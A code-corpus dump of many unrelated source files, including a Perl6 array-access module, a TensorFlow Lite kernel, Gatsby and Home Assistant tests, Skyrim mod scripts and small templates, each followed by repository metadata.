i 00057 04 013 2400 04 37 00057
i 00060 00 012 0000 00 26 00076
i 00061 00 012 2000 00 27 00076
i 00062 03 013 2400 03 37 00062
i 00063 00 012 0000 00 26 00076
i 00064 00 012 2000 00 27 00076
i 00065 02 24 77401 00 22 00000
i 00066 02 013 2400 02 37 00066
i 00067 00 012 0000 00 26 00076
i 00070 00 012 2000 00 27 00076
i 00071 01 24 77401 00 22 00000
i 00072 01 013 2400 01 37 00072
i 00073 00 012 0000 00 26 00076
i 00074 00 012 2000 00 27 00076
i 00075 06 33 12345 00 22 00000
i 00076 02 33 76543 00 22 00000
d 02000 7777 7777 7777 7777
| Octave | 1 | besm6/mesm6 | test/vlm/vlm.oct | [
"MIT"
] |
package {
public class Test {
}
}
trace("///new NotoSansRegular().hasGlyphs(\"abc\")");
trace(new NotoSansRegular().hasGlyphs("abc"));
trace("///new NotoSansRegular().hasGlyphs(\"Abc\")");
trace(new NotoSansRegular().hasGlyphs("Abc"));
trace("///new NotoSansRegular().hasGlyphs(\"ABC\")");
trace(new NotoSansRegular().hasGlyphs("ABC"));
trace("///new NotoSansRegular().hasGlyphs(\"\")");
trace(new NotoSansRegular().hasGlyphs(""));
trace("///new NotoSansRegularItalic().hasGlyphs(\"abc\")");
trace(new NotoSansRegularItalic().hasGlyphs("abc"));
trace("///new NotoSansRegularItalic().hasGlyphs(\"Abc\")");
trace(new NotoSansRegularItalic().hasGlyphs("Abc"));
trace("///new NotoSansRegularItalic().hasGlyphs(\"ABC\")");
trace(new NotoSansRegularItalic().hasGlyphs("ABC"));
trace("///new NotoSansRegularItalic().hasGlyphs(\"\")");
trace(new NotoSansRegularItalic().hasGlyphs(""));
trace("///new NotoSansBold().hasGlyphs(\"abc\")");
trace(new NotoSansBold().hasGlyphs("abc"));
trace("///new NotoSansBold().hasGlyphs(\"Abc\")");
trace(new NotoSansBold().hasGlyphs("Abc"));
trace("///new NotoSansBold().hasGlyphs(\"ABC\")");
trace(new NotoSansBold().hasGlyphs("ABC"));
trace("///new NotoSansBold().hasGlyphs(\"\")");
trace(new NotoSansBold().hasGlyphs(""));
trace("///new NotoSansBoldItalic().hasGlyphs(\"abc\")");
trace(new NotoSansBoldItalic().hasGlyphs("abc"));
trace("///new NotoSansBoldItalic().hasGlyphs(\"Abc\")");
trace(new NotoSansBoldItalic().hasGlyphs("Abc"));
trace("///new NotoSansBoldItalic().hasGlyphs(\"ABC\")");
trace(new NotoSansBoldItalic().hasGlyphs("ABC"));
trace("///new NotoSansBoldItalic().hasGlyphs(\"\")");
trace(new NotoSansBoldItalic().hasGlyphs(""));
trace("///new NotoSerifRegular().hasGlyphs(\"abc\")");
trace(new NotoSerifRegular().hasGlyphs("abc"));
trace("///new NotoSerifRegular().hasGlyphs(\"Abc\")");
trace(new NotoSerifRegular().hasGlyphs("Abc"));
trace("///new NotoSerifRegular().hasGlyphs(\"ABC\")");
trace(new NotoSerifRegular().hasGlyphs("ABC"));
trace("///new NotoSerifRegular().hasGlyphs(\"\")");
trace(new NotoSerifRegular().hasGlyphs("")); | ActionScript | 4 | Sprak1/ruffle | tests/tests/swfs/avm2/font_hasglyphs/Test.as | [
"Apache-2.0",
"Unlicense"
] |
scriptname _Camp_SearchAliasBase extends ReferenceAlias
import CampUtil
Actor property PlayerRef auto
GlobalVariable property _Camp_PerkRank_KeenSenses auto
_Camp_ConditionValues property Conditions auto
bool property initialized = false auto hidden
Event OnInit()
;debug.trace("[Campfire] " + self.GetRef() + " initializing!")
if GetSKSELoaded()
FallbackEventEmitter runAliasEmitter = GetEventEmitter_InstinctsRunAliases()
FallbackEventEmitter stopSearchEmitter = GetEventEmitter_InstinctsStopSearch()
runAliasEmitter.RegisterAliasForModEventWithFallback("Campfire_InstinctsRunAliases", "InstinctsRunAliases", self as Alias)
stopSearchEmitter.RegisterAliasForModEventWithFallback("Campfire_InstinctsStopSearch", "InstinctsStopSearch", self as Alias)
initialized = true
endif
EndEvent
Event InstinctsRunAliases()
;debug.trace("[Campfire]" + self + " InstinctsRunAliases received.")
float detection_distance = 2048.0 + (_Camp_PerkRank_KeenSenses.GetValueInt() * 1024.0)
if Conditions.IsPlayerInInterior
detection_distance /= 2
endif
ObjectReference ref = self.GetRef()
if ref && PlayerRef.GetDistance(ref) <= detection_distance
;debug.trace("[Campfire] " + ref + " running!")
AliasStart(ref)
else
;debug.trace("[Campfire] " + ref + " is none or too far away.")
endif
endEvent
Event InstinctsStopSearch()
initialized = false
AliasStop(self.GetRef())
;debug.trace("[Campfire] " + self.GetRef() + " shut down.")
endEvent
function AliasStart(ObjectReference akReference)
;extend
endFunction
function AliasStop(ObjectReference akReference)
;extend
endFunction
| Papyrus | 4 | chesko256/Campfire | Scripts/Source/_Camp_SearchAliasBase.psc | [
"MIT"
] |
my class Array::Element {
method access(\SELF, \pos, %adverbs, $adverb, $value) {
my $lookup := Rakudo::Internals.ADVERBS_AND_NAMED_TO_DISPATCH_INDEX(
%adverbs, $adverb, $value
);
nqp::if(
nqp::istype($lookup,X::Adverb),
nqp::stmts(
($lookup.what = "element access"),
($lookup.source = try { SELF.VAR.name } // SELF.^name),
Failure.new($lookup)
),
Rakudo::Internals.ACCESS-ELEMENT-DISPATCH-CLASS(
$lookup
).element(SELF,pos)
)
}
method access-any(\SELF, \pos, %adverbs, $adverb, $value) {
my $lookup := Rakudo::Internals.ADVERBS_AND_NAMED_TO_DISPATCH_INDEX(
%adverbs, $adverb, $value
);
nqp::if(
nqp::istype($lookup,X::Adverb),
nqp::stmts(
($lookup.what = "element access"),
($lookup.source = try { SELF.VAR.name } // SELF.^name),
Failure.new($lookup)
),
Rakudo::Internals.ACCESS-ELEMENT-ANY-DISPATCH-CLASS(
$lookup
).element(SELF,pos)
)
}
}
# Classes that take an Int position
my class Array::Element::Access::none {
method element(\SELF,\pos) { SELF.AT-POS(pos) }
}
my class Array::Element::Access::kv {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? (pos,SELF.AT-POS(pos)) !! ()
}
}
my class Array::Element::Access::not-kv {
method element(\SELF,\pos) { (pos,SELF.AT-POS(pos)) }
}
my class Array::Element::Access::p {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? Pair.new(pos,SELF.AT-POS(pos)) !! ()
}
}
my class Array::Element::Access::not-p {
method element(\SELF,\pos) { Pair.new(pos,SELF.AT-POS(pos)) }
}
my class Array::Element::Access::k {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? pos !! ()
}
}
my class Array::Element::Access::not-k {
method element(\SELF,\pos) { pos }
}
my class Array::Element::Access::v {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? nqp::decont(SELF.AT-POS(pos)) !! ()
}
}
my class Array::Element::Access::exists {
method element(\SELF,\pos) { SELF.EXISTS-POS(pos) }
}
my class Array::Element::Access::exists-kv {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? (pos,True) !! ()
}
}
my class Array::Element::Access::exists-not-kv {
method element(\SELF,\pos) { (pos,SELF.EXISTS-POS(pos)) }
}
my class Array::Element::Access::exists-p {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? Pair.new(pos,True) !! ()
}
}
my class Array::Element::Access::exists-not-p {
method element(\SELF,\pos) { Pair.new(pos,SELF.EXISTS-POS(pos)) }
}
my class Array::Element::Access::exists-delete {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
True
}
else {
False
}
}
}
my class Array::Element::Access::exists-delete-kv {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
(pos,True)
}
else {
()
}
}
}
my class Array::Element::Access::exists-delete-not-kv {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
(pos,True)
}
else {
(pos,False)
}
}
}
my class Array::Element::Access::exists-delete-p {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
Pair.new(pos,True)
}
else {
()
}
}
}
my class Array::Element::Access::exists-delete-not-p {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
Pair.new(pos,True)
}
else {
Pair.new(pos,False)
}
}
}
my class Array::Element::Access::not-exists {
method element(\SELF,\pos) { !SELF.EXISTS-POS(pos) }
}
my class Array::Element::Access::not-exists-kv {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? (pos,False) !! ()
}
}
my class Array::Element::Access::not-exists-not-kv {
method element(\SELF,\pos) { (pos,!SELF.EXISTS-POS(pos)) }
}
my class Array::Element::Access::not-exists-p {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? Pair.new(pos,False) !! ()
}
}
my class Array::Element::Access::not-exists-not-p {
method element(\SELF,\pos) { Pair.new(pos,!SELF.EXISTS-POS(pos)) }
}
my class Array::Element::Access::not-exists-delete {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
False
}
else {
True
}
}
}
my class Array::Element::Access::not-exists-delete-kv {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
(pos,False)
}
else {
()
}
}
}
my class Array::Element::Access::not-exists-delete-not-kv {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
(pos,False)
}
else {
(pos,True)
}
}
}
my class Array::Element::Access::not-exists-delete-p {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
Pair.new(pos,False)
}
else {
()
}
}
}
my class Array::Element::Access::not-exists-delete-not-p {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
Pair.new(pos,False)
}
else {
Pair.new(pos,True)
}
}
}
my class Array::Element::Access::delete {
method element(\SELF,\pos) { SELF.DELETE-POS(pos) }
}
my class Array::Element::Access::delete-kv {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? (pos,SELF.DELETE-POS(pos)) !! ()
}
}
my class Array::Element::Access::delete-not-kv {
method element(\SELF,\pos) { (pos,SELF.DELETE-POS(pos)) }
}
my class Array::Element::Access::delete-p {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? Pair.new(pos,SELF.DELETE-POS(pos)) !! ()
}
}
my class Array::Element::Access::delete-not-p {
method element(\SELF,\pos) { Pair.new(pos,SELF.DELETE-POS(pos)) }
}
my class Array::Element::Access::delete-k {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos) {
SELF.DELETE-POS(pos);
pos
}
else {
()
}
}
}
my class Array::Element::Access::delete-not-k {
method element(\SELF,\pos) {
SELF.DELETE-POS(pos) if SELF.EXISTS-POS(pos);
pos
}
}
my class Array::Element::Access::delete-v {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos) ?? SELF.DELETE-POS(pos) !! ()
}
}
# Classes that take an Any position
my class Array::Element::Access::none-any {
method element(\SELF,\pos) { SELF.AT-POS(pos.Int) }
}
my class Array::Element::Access::kv-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? (pos,SELF.AT-POS(pos.Int)) !! ()
}
}
my class Array::Element::Access::not-kv-any {
method element(\SELF,\pos) { (pos,SELF.AT-POS(pos.Int)) }
}
my class Array::Element::Access::p-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? Pair.new(pos,SELF.AT-POS(pos.Int)) !! ()
}
}
my class Array::Element::Access::not-p-any {
method element(\SELF,\pos) { Pair.new(pos,SELF.AT-POS(pos.Int)) }
}
my class Array::Element::Access::k-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? pos !! ()
}
}
my class Array::Element::Access::not-k-any {
method element(\SELF,\pos) { pos }
}
my class Array::Element::Access::v-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? nqp::decont(SELF.AT-POS(pos.Int)) !! ()
}
}
my class Array::Element::Access::exists-any {
method element(\SELF,\pos) { SELF.EXISTS-POS(pos.Int) }
}
my class Array::Element::Access::exists-kv-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? (pos,True) !! ()
}
}
my class Array::Element::Access::exists-not-kv-any {
method element(\SELF,\pos) { (pos,SELF.EXISTS-POS(pos.Int)) }
}
my class Array::Element::Access::exists-p-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? Pair.new(pos,True) !! ()
}
}
my class Array::Element::Access::exists-not-p-any {
method element(\SELF,\pos) { Pair.new(pos,SELF.EXISTS-POS(pos.Int)) }
}
my class Array::Element::Access::exists-delete-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
True
}
else {
False
}
}
}
my class Array::Element::Access::exists-delete-kv-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
(pos,True)
}
else {
()
}
}
}
my class Array::Element::Access::exists-delete-not-kv-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
(pos,True)
}
else {
(pos,False)
}
}
}
my class Array::Element::Access::exists-delete-p-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
Pair.new(pos,True)
}
else {
()
}
}
}
my class Array::Element::Access::exists-delete-not-p-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
Pair.new(pos,True)
}
else {
Pair.new(pos,False)
}
}
}
my class Array::Element::Access::not-exists-any {
method element(\SELF,\pos) { !SELF.EXISTS-POS(pos.Int) }
}
my class Array::Element::Access::not-exists-kv-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? (pos,False) !! ()
}
}
my class Array::Element::Access::not-exists-not-kv-any {
method element(\SELF,\pos) { (pos,!SELF.EXISTS-POS(pos.Int)) }
}
my class Array::Element::Access::not-exists-p-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? Pair.new(pos,False) !! ()
}
}
my class Array::Element::Access::not-exists-not-p-any {
method element(\SELF,\pos) { Pair.new(pos,!SELF.EXISTS-POS(pos.Int)) }
}
my class Array::Element::Access::not-exists-delete-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
False
}
else {
True
}
}
}
my class Array::Element::Access::not-exists-delete-kv-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
(pos,False)
}
else {
()
}
}
}
my class Array::Element::Access::not-exists-delete-not-kv-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
(pos,False)
}
else {
(pos,True)
}
}
}
my class Array::Element::Access::not-exists-delete-p-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
Pair.new(pos,False)
}
else {
()
}
}
}
my class Array::Element::Access::not-exists-delete-not-p-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
Pair.new(pos,False)
}
else {
Pair.new(pos,True)
}
}
}
my class Array::Element::Access::delete-any {
method element(\SELF,\pos) { SELF.DELETE-POS(pos.Int) }
}
my class Array::Element::Access::delete-kv-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? (pos,SELF.DELETE-POS(pos.Int)) !! ()
}
}
my class Array::Element::Access::delete-not-kv-any {
method element(\SELF,\pos) { (pos,SELF.DELETE-POS(pos.Int)) }
}
my class Array::Element::Access::delete-p-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? Pair.new(pos,SELF.DELETE-POS(pos.Int)) !! ()
}
}
my class Array::Element::Access::delete-not-p-any {
method element(\SELF,\pos) { Pair.new(pos,SELF.DELETE-POS(pos.Int)) }
}
my class Array::Element::Access::delete-k-any {
method element(\SELF,\pos) {
if SELF.EXISTS-POS(pos.Int) {
SELF.DELETE-POS(pos.Int);
pos
}
else {
()
}
}
}
my class Array::Element::Access::delete-not-k-any {
method element(\SELF,\pos) {
SELF.DELETE-POS(pos.Int) if SELF.EXISTS-POS(pos.Int);
pos
}
}
my class Array::Element::Access::delete-v-any {
method element(\SELF,\pos) {
SELF.EXISTS-POS(pos.Int) ?? SELF.DELETE-POS(pos.Int) !! ()
}
}
# vim: expandtab shiftwidth=4
| Perl6 | 3 | raydiak/rakudo | src/core.c/Array/Element.pm6 | [
"Artistic-2.0"
] |
<div class="modal hidden" id="modal-low-storage">
<button class="close"><img src="../assets/cross.svg" alt="close" title="close modal"></button>
<h3>ALMOST OUT OF STORAGE</h3>
<p>you're about to run out of storage space.</p>
<b></b>
<p>for the price of a cup of coffee, you can switch to a larger plan and store even more of your files securely and privately.</p>
<button class="action l bold">switch to a larger plan</button>
</div>
| Kit | 2 | pws1453/web-client | source/imports/app/modal-low-storage.kit | [
"MIT"
] |
--TEST--
FE_FETCH op2 is a def and needs special live range handling
--FILE--
<?php
try {
foreach (["test"] as $k => func()[]) {}
} catch (Error $e) {
echo $e->getMessage(), "\n";
}
?>
--EXPECT--
Call to undefined function func()
| PHP | 1 | thiagooak/php-src | Zend/tests/fe_fetch_op2_live_range.phpt | [
"PHP-3.01"
] |
#define PERL_NO_GET_CONTEXT
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
static cv_flags_t
get_flag(char *attr)
{
if (strnEQ(attr, "method", 6))
return CVf_METHOD;
else if (strnEQ(attr, "locked", 6))
return CVf_LOCKED;
else
return 0;
}
MODULE = attrs PACKAGE = attrs
void
import(Class, ...)
char * Class
ALIAS:
unimport = 1
PREINIT:
int i;
CV *cv;
PPCODE:
if (!PL_compcv || !(cv = CvOUTSIDE(PL_compcv)))
croak("can't set attributes outside a subroutine scope");
if (ckWARN(WARN_DEPRECATED))
Perl_warner(aTHX_ WARN_DEPRECATED,
"pragma \"attrs\" is deprecated, "
"use \"sub NAME : ATTRS\" instead");
for (i = 1; i < items; i++) {
STRLEN n_a;
char *attr = SvPV(ST(i), n_a);
cv_flags_t flag = get_flag(attr);
if (!flag)
croak("invalid attribute name %s", attr);
if (ix)
CvFLAGS(cv) &= ~flag;
else
CvFLAGS(cv) |= flag;
}
void
get(sub)
SV * sub
PPCODE:
if (SvROK(sub)) {
sub = SvRV(sub);
if (SvTYPE(sub) != SVt_PVCV)
sub = Nullsv;
}
else {
STRLEN n_a;
char *name = SvPV(sub, n_a);
sub = (SV*)perl_get_cv(name, FALSE);
}
if (!sub)
croak("invalid subroutine reference or name");
if (CvFLAGS(sub) & CVf_METHOD)
XPUSHs(sv_2mortal(newSVpvn("method", 6)));
if (CvFLAGS(sub) & CVf_LOCKED)
XPUSHs(sv_2mortal(newSVpvn("locked", 6)));
| XS | 4 | tharindusathis/sourcecodes-of-CodeReadingTheOpenSourcePerspective | perl/ext/attrs/attrs.xs | [
"Apache-1.1"
] |
package test
const val b: Byte = 50 + 50
const val s: Short = 10000 + 10000
const val i: Int = 1000000 + 1000000
const val l: Long = 1000000000000L + 1000000000000L
const val f: Float = 0.0f + 3.14f
const val d: Double = 0.0 + 3.14
const val bb: Boolean = !false
const val c: Char = '\u03c0' // pi symbol
const val str: String = ":)"
| Groff | 3 | qussarah/declare | jps-plugin/testData/incremental/pureKotlin/allConstants/const.kt.new.1 | [
"Apache-2.0"
] |
{% assign product-id = include.product-id | default: 0 %}
{% assign product = site.data.products[product-id] %}
<div class="card">
<div class="card-body"{% unless include.lorem %} style="height: 5rem"{% endunless %}>
{% if include.lorem %}
<h3 class="card-title">Card with ribbon</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda consectetur consequuntur culpa cum dolorum eveniet.</p>
{% endif %}
</div>
{% include ui/ribbon.html color=include.color top=include.top left=include.left bottom=include.bottom bookmark=include.bookmark %}
</div>
| HTML | 3 | muhginanjar/tabler | src/pages/_includes/cards/ribbon.html | [
"MIT"
] |
# This file is a part of Julia. License is MIT: https://julialang.org/license
"""
Like UnitRange{Int}, but can handle the `last` field, being temporarily
< first (this can happen during compacting)
"""
struct StmtRange <: AbstractUnitRange{Int}
start::Int
stop::Int
end
first(r::StmtRange) = r.start
last(r::StmtRange) = r.stop
iterate(r::StmtRange, state=0) = (last(r) - first(r) < state) ? nothing : (first(r) + state, state + 1)
StmtRange(range::UnitRange{Int}) = StmtRange(first(range), last(range))
struct BasicBlock
stmts::StmtRange
preds::Vector{Int}
succs::Vector{Int}
end
function BasicBlock(stmts::StmtRange)
return BasicBlock(stmts, Int[], Int[])
end
function BasicBlock(old_bb, stmts)
return BasicBlock(stmts, old_bb.preds, old_bb.succs)
end
copy(bb::BasicBlock) = BasicBlock(bb.stmts, copy(bb.preds), copy(bb.succs))
| Julia | 4 | vanillajonathan/julia | base/compiler/ssair/basicblock.jl | [
"Zlib"
] |
db = require "lapis.db.mysql"
schema = require "lapis.db.mysql.schema"
import setup_db, teardown_db from require "spec_mysql.helpers"
import drop_tables from require "lapis.spec.db"
import create_table, drop_table, types from schema
describe "model", ->
setup ->
setup_db!
teardown ->
teardown_db!
it "should run query", ->
assert.truthy db.query [[
select * from information_schema.tables
where table_schema = "lapis_test"
]]
it "should run query", ->
assert.truthy db.query [[
select * from information_schema.tables
where table_schema = ?
]], "lapis_test"
it "should create a table", ->
drop_table "hello_worlds"
create_table "hello_worlds", {
{"id", types.id}
{"name", types.varchar}
}
assert.same 1, #db.query [[
select * from information_schema.tables
where table_schema = "lapis_test" and table_name = "hello_worlds"
]]
db.insert "hello_worlds", {
name: "well well well"
}
res = db.insert "hello_worlds", {
name: "another one"
}
assert.same {
affected_rows: 1
last_auto_id: 2
}, res
describe "with table", ->
before_each ->
drop_table "hello_worlds"
create_table "hello_worlds", {
{"id", types.id}
{"name", types.varchar}
}
it "should create index and remove index", ->
schema.create_index "hello_worlds", "id", "name", unique: true
schema.drop_index "hello_worlds", "id", "name", unique: true
it "should add column", ->
schema.add_column "hello_worlds", "counter", schema.types.integer 123
| MoonScript | 4 | tommy-mor/lapis | spec_mysql/query_spec.moon | [
"MIT",
"Unlicense"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <stdint.h>
#include <string.h>
#include <string>
#include <utility>
#include "tensorflow/lite/c/builtin_op_data.h"
#include "tensorflow/lite/c/common.h"
#include "tensorflow/lite/core/subgraph.h"
#include "tensorflow/lite/experimental/resource/resource_variable.h"
#include "tensorflow/lite/kernels/internal/tensor.h"
#include "tensorflow/lite/kernels/kernel_util.h"
namespace tflite {
namespace ops {
namespace builtin {
namespace var_handle {
// Util struct with params that identifies the resource.
struct VarParams {
int resource_id;
};
void* Init(TfLiteContext* context, const char* buffer, size_t length) {
const auto* var_params =
reinterpret_cast<const TfLiteVarHandleParams*>(buffer);
VarParams* params = new VarParams;
auto* subgraph = reinterpret_cast<Subgraph*>(context->impl_);
// Create a new entry if doesn't exist, return the existing one otherwise.
auto it = subgraph->resource_ids().insert(std::make_pair(
std::make_pair(
std::string(var_params->container ? var_params->container : ""),
std::string(var_params->shared_name ? var_params->shared_name : "")),
static_cast<int>(subgraph->resource_ids().size())));
params->resource_id = it.first->second;
return params;
}
void Free(TfLiteContext* context, void* buffer) {
delete reinterpret_cast<VarParams*>(buffer);
}
TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
TfLiteTensor* output;
TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
const int kBytesRequired = sizeof(int32_t);
TfLiteTensorRealloc(kBytesRequired, output);
output->bytes = kBytesRequired;
return kTfLiteOk;
}
TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
auto* op_data = static_cast<VarParams*>(node->user_data);
TF_LITE_ENSURE(context, op_data != nullptr);
TfLiteTensor* output;
TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
memcpy(output->data.raw, reinterpret_cast<char*>(&op_data->resource_id),
sizeof(op_data->resource_id));
return kTfLiteOk;
}
} // namespace var_handle
TfLiteRegistration* Register_VAR_HANDLE() {
static TfLiteRegistration r = {var_handle::Init, var_handle::Free,
var_handle::Prepare, var_handle::Eval};
return &r;
}
} // namespace builtin
} // namespace ops
} // namespace tflite
| C++ | 4 | EricRemmerswaal/tensorflow | tensorflow/lite/kernels/var_handle.cc | [
"Apache-2.0"
] |
* 峠 (とうげ tōge "mountain pass")
* 榊 (さかき sakaki "tree, genus Cleyera")
* 辻 (つじ tsuji "crossroads, street")
* 働 (どう dō, はたら hatara(ku) "work")
* 腺 (せん sen, "gland")
| HTML | 0 | ni-ning/django | tests/test_client_regress/templates/unicode.html | [
"CNRI-Python-GPL-Compatible",
"BSD-3-Clause"
] |
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div id="foo1" class="foo"></div>
<code>
<div id="foo2" class="foo"></div>
<div id="foo3" class="foo"></div>
</code>
<pre id="out"></pre>
<script>
var elements = document.querySelectorAll("code .foo");
try {
if (elements.length !== 2)
throw 1;
if (elements[0].id !== "foo2")
throw 3;
if (elements[1].id !== "foo3")
throw 4;
document.getElementById('out').innerHTML = "Success!";
} catch (e) {
document.getElementById('out').innerHTML = "Error number " + e;
}
</script>
</body>
</html>
| HTML | 3 | r00ster91/serenity | Base/res/html/misc/qsa.html | [
"BSD-2-Clause"
] |
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
@prefix dc: <http://purl.org/dc/elements/1.1/> .
@prefix ex: <http://example.org/stuff/1.0/> .
<http://www.w3.org/TR/rdf-syntax-grammar>
dc:title "RDF/XML Syntax Specification (Revised)" ;
ex:editor [
ex:fullname "Dave Beckett";
ex:homePage <http://purl.org/net/dajobe/>
] . | Turtle | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Turtle/rdf-syntax-grammar.ttl | [
"MIT"
] |
// build-pass (FIXME(62277): could be check-pass?)
#![allow(unused_variables)]
#![allow(dead_code)]
#![deny(unreachable_code)]
fn foo() {
// No error here.
let x = false && (return);
println!("I am not dead.");
}
fn main() { }
| Rust | 4 | Eric-Arellano/rust | src/test/ui/reachable/expr_andand.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
import * as path from "path"
import fs from "fs-extra"
import { describeWhenLMDB } from "../worker/__tests__/test-helpers"
const complexObject = {
key: `value`,
another_key: 2,
nested: { hello: `world`, foo: `bar`, nested: { super: `duper` } },
}
describeWhenLMDB(`cache-lmdb`, () => {
let cache
beforeAll(async () => {
const { default: GatsbyCacheLmdb } = await import(`../cache-lmdb`)
cache = new GatsbyCacheLmdb({ name: `__test__` }).init()
const fileDir = path.join(
process.cwd(),
`.cache/caches-lmdb-${process.env.JEST_WORKER_ID}`
)
await fs.emptyDir(fileDir)
})
it(`it can be instantiated`, () => {
if (!cache) fail(`cache not instantiated`)
})
it(`returns cache instance with get/set methods`, () => {
expect(cache.get).toEqual(expect.any(Function))
expect(cache.set).toEqual(expect.any(Function))
})
describe(`set`, () => {
it(`resolves to the value it cached (string)`, () =>
expect(cache.set(`string`, `I'm a simple string`)).resolves.toBe(
`I'm a simple string`
))
it(`resolves to the value it cached (object)`, () =>
expect(cache.set(`object`, complexObject)).resolves.toStrictEqual(
complexObject
))
})
describe(`get`, () => {
it(`resolves to the found value (string)`, () =>
expect(cache.get(`string`)).resolves.toBe(`I'm a simple string`))
it(`resolves to the found value (object)`, () =>
expect(cache.get(`object`)).resolves.toStrictEqual(complexObject))
})
})
| TypeScript | 5 | waltercruz/gatsby | packages/gatsby/src/utils/__tests__/cache-lmdb.ts | [
"MIT"
] |
"""Test the Rainforest Eagle diagnostics."""
from homeassistant.components.diagnostics import REDACTED
from homeassistant.components.rainforest_eagle.const import (
CONF_CLOUD_ID,
CONF_INSTALL_CODE,
)
from . import MOCK_200_RESPONSE_WITHOUT_PRICE
from tests.components.diagnostics import get_diagnostics_for_config_entry
async def test_entry_diagnostics(
hass, hass_client, setup_rainforest_200, config_entry_200
):
"""Test config entry diagnostics."""
result = await get_diagnostics_for_config_entry(hass, hass_client, config_entry_200)
config_entry_dict = config_entry_200.as_dict()
config_entry_dict["data"][CONF_INSTALL_CODE] = REDACTED
config_entry_dict["data"][CONF_CLOUD_ID] = REDACTED
assert result == {
"config_entry": config_entry_dict,
"data": {
var["Name"]: var["Value"]
for var in MOCK_200_RESPONSE_WITHOUT_PRICE.values()
},
}
| Python | 4 | MrDelik/core | tests/components/rainforest_eagle/test_diagnostics.py | [
"Apache-2.0"
] |
"""The FiveM sensor platform."""
from dataclasses import dataclass
from typing import Any
from homeassistant.components.sensor import SensorEntity, SensorEntityDescription
from homeassistant.config_entries import ConfigEntry
from homeassistant.core import HomeAssistant
from homeassistant.helpers.entity_platform import AddEntitiesCallback
from . import FiveMEntity, FiveMEntityDescription
from .const import (
ATTR_PLAYERS_LIST,
ATTR_RESOURCES_LIST,
DOMAIN,
ICON_PLAYERS_MAX,
ICON_PLAYERS_ONLINE,
ICON_RESOURCES,
NAME_PLAYERS_MAX,
NAME_PLAYERS_ONLINE,
NAME_RESOURCES,
UNIT_PLAYERS_MAX,
